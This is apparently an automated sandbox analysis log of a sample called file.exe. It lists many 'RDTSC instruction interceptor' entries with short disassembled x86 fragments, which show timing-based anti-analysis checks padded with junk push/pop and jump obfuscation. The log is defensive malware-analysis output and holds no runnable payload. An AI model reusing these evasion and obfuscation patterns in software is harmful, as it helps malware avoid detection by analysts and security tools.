Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B6783E second address: B67856 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF018B87186h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jng 00007FF018B8718Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B679A8 second address: B679AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B679AD second address: B679B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B679B3 second address: B679B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B679B7 second address: B679C2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B67B42 second address: B67B4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FF018BAC396h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B67B4C second address: B67B50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B6A36F second address: B6A375 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B6A375 second address: B6A379 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B6A379 second address: B6A3A6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FF018BAC39Ah 0x0000000d jbe 00007FF018BAC398h 0x00000013 jmp 00007FF018BAC39Dh 0x00000018 popad 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c push edi 0x0000001d pop edi 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B6A3A6 second address: B6A3AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B6D5DF second address: B6D5E9 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FF018BAC396h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B6D5E9 second address: B6D603 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018B8718Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B6D603 second address: B6D61D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018BAC39Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b je 00007FF018BAC396h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B73C5C second address: B73C8D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FF018B87197h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop esi 0x0000000b push esi 0x0000000c jnl 00007FF018B87186h 0x00000012 pop esi 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jl 00007FF018B8718Ch 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B73C8D second address: B73C91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B731A8 second address: B731C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FF018B87192h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B731C0 second address: B731CE instructions: 0x00000000 rdtsc 0x00000002 js 00007FF018BAC396h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B731CE second address: B731E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF018B8718Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B737CB second address: B737D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B737D7 second address: B737DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B737DB second address: B737E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B737E7 second address: B737EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B73A99 second address: B73A9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B73A9D second address: B73AAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jnc 00007FF018B87186h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B73AAC second address: B73ADA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b jmp 00007FF018BAC39Ah 0x00000010 pop edi 0x00000011 jo 00007FF018BAC3A8h 0x00000017 jmp 00007FF018BAC3A2h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B73ADA second address: B73AE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B73AE0 second address: B73AEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF018BAC39Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B7633C second address: B76350 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FF018B8718Dh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B76963 second address: B76969 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B76969 second address: B7696D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B769FA second address: B76A0F instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF018BAC396h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f ja 00007FF018BAC396h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B773AE second address: B773B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B773B4 second address: B773B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B773B8 second address: B773BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B77436 second address: B77454 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF018BAC3A9h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B77454 second address: B7747D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018B87193h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov dword ptr [ebp+122D221Ah], esi 0x00000010 xchg eax, ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 jc 00007FF018B8718Ch 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B7747D second address: B77481 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B77481 second address: B774AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018B87199h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jl 00007FF018B87192h 0x00000010 jo 00007FF018B8718Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B779A6 second address: B779B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FF018BAC396h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B779B0 second address: B779F6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov esi, dword ptr [ebp+122D2E2Eh] 0x00000011 push 00000000h 0x00000013 movzx esi, si 0x00000016 push 00000000h 0x00000018 push eax 0x00000019 pushad 0x0000001a jmp 00007FF018B87195h 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FF018B87195h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B78248 second address: B78252 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B79386 second address: B79398 instructions: 0x00000000 rdtsc 0x00000002 je 00007FF018B87186h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a ja 00007FF018B8718Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B79F92 second address: B7A001 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push esi 0x0000000d call 00007FF018BAC398h 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], esi 0x00000017 add dword ptr [esp+04h], 0000001Bh 0x0000001f inc esi 0x00000020 push esi 0x00000021 ret 0x00000022 pop esi 0x00000023 ret 0x00000024 mov edi, dword ptr [ebp+122D3A57h] 0x0000002a push 00000000h 0x0000002c pushad 0x0000002d and esi, dword ptr [ebp+122D2CDEh] 0x00000033 sub bx, 1D69h 0x00000038 popad 0x00000039 push 00000000h 0x0000003b push 00000000h 0x0000003d push esi 0x0000003e call 00007FF018BAC398h 0x00000043 pop esi 0x00000044 mov dword ptr [esp+04h], esi 0x00000048 add dword ptr [esp+04h], 00000017h 0x00000050 inc esi 0x00000051 push esi 0x00000052 ret 0x00000053 pop esi 0x00000054 ret 0x00000055 or esi, 6F0F2A46h 0x0000005b xchg eax, ebx 0x0000005c push eax 0x0000005d push edx 0x0000005e push eax 0x0000005f push eax 0x00000060 push edx 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B79CEE second address: B79CF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B7A001 second address: B7A006 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B7A006 second address: B7A03F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF018B8718Fh 0x00000008 jmp 00007FF018B87194h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 js 00007FF018B87186h 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e push edi 0x0000001f pop edi 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B7A996 second address: B7A99C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B7B48C second address: B7B490 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B7C1BE second address: B7C1C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B7B490 second address: B7B496 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B7C1C2 second address: B7C1CC instructions: 0x00000000 rdtsc 0x00000002 jg 00007FF018BAC396h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B7B496 second address: B7B49C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B7B49C second address: B7B4A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B819E6 second address: B819FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018B8718Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jng 00007FF018B8718Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B819FC second address: B81A42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 and di, 8C31h 0x0000000d push 00000000h 0x0000000f mov dword ptr [ebp+122D3450h], ecx 0x00000015 mov di, cx 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push esi 0x0000001d call 00007FF018BAC398h 0x00000022 pop esi 0x00000023 mov dword ptr [esp+04h], esi 0x00000027 add dword ptr [esp+04h], 00000018h 0x0000002f inc esi 0x00000030 push esi 0x00000031 ret 0x00000032 pop esi 0x00000033 ret 0x00000034 xchg eax, esi 0x00000035 je 00007FF018BAC3A0h 0x0000003b pushad 0x0000003c pushad 0x0000003d popad 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B829B3 second address: B829B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B7FB35 second address: B7FB39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B84BA4 second address: B84BA9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B84BA9 second address: B84BAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B83DBB second address: B83DD4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018B87195h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B83DD4 second address: B83DDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FF018BAC396h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B83DDE second address: B83DF3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jnc 00007FF018B87186h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B86BF1 second address: B86BF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B86BF6 second address: B86C00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FF018B87186h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B89BBB second address: B89BC6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007FF018BAC396h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B8BE5C second address: B8BEBA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007FF018B8718Ch 0x0000000c popad 0x0000000d mov dword ptr [esp], eax 0x00000010 add dword ptr [ebp+122D3C74h], eax 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push edi 0x0000001b call 00007FF018B87188h 0x00000020 pop edi 0x00000021 mov dword ptr [esp+04h], edi 0x00000025 add dword ptr [esp+04h], 0000001Ah 0x0000002d inc edi 0x0000002e push edi 0x0000002f ret 0x00000030 pop edi 0x00000031 ret 0x00000032 mov dword ptr [ebp+122D3718h], ecx 0x00000038 mov dword ptr [ebp+122D3AEBh], edi 0x0000003e push 00000000h 0x00000040 mov ebx, dword ptr [ebp+122D3461h] 0x00000046 xchg eax, esi 0x00000047 pushad 0x00000048 jbe 00007FF018B8718Ch 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B9066A second address: B9067F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018BAC3A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B96D0B second address: B96D0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B9AB42 second address: B9AB5B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018BAC3A5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B9AB5B second address: B9AB61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B9C06F second address: B9C09A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007FF018BAC396h 0x00000009 jmp 00007FF018BAC39Bh 0x0000000e jmp 00007FF018BAC3A5h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B9C09A second address: B9C0A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B3E6B7 second address: B3E6BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B3E6BB second address: B3E6BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B3E6BF second address: B3E6CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 ja 00007FF018BAC396h 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B3E6CF second address: B3E6F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018B87198h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B3E6F0 second address: B3E6F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B28DC0 second address: B28DD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF018B8718Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BA1517 second address: BA1521 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FF018BAC396h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BA1521 second address: BA1559 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018B87199h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b popad 0x0000000c pop eax 0x0000000d jmp 00007FF018B87191h 0x00000012 popad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 push esi 0x00000017 pop esi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BA1559 second address: BA1567 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007FF018BAC396h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BA19D5 second address: BA19FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FF018B87186h 0x0000000a jc 00007FF018B87186h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 jmp 00007FF018B87194h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BA19FC second address: BA1A01 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BA53B2 second address: BA53B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B75194 second address: B7519A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B75266 second address: B7526A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B7526A second address: B7526E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B7531C second address: B75320 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B75320 second address: B75324 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B75324 second address: B7532A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B7532A second address: B75330 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B75330 second address: B75334 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B753E1 second address: B753E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B7562D second address: B75632 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B75632 second address: B75638 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B75BEF second address: B75BF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B75BF3 second address: B75C07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jc 00007FF018BAC396h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B75ECF second address: B75ED4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B75ED4 second address: B75EDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
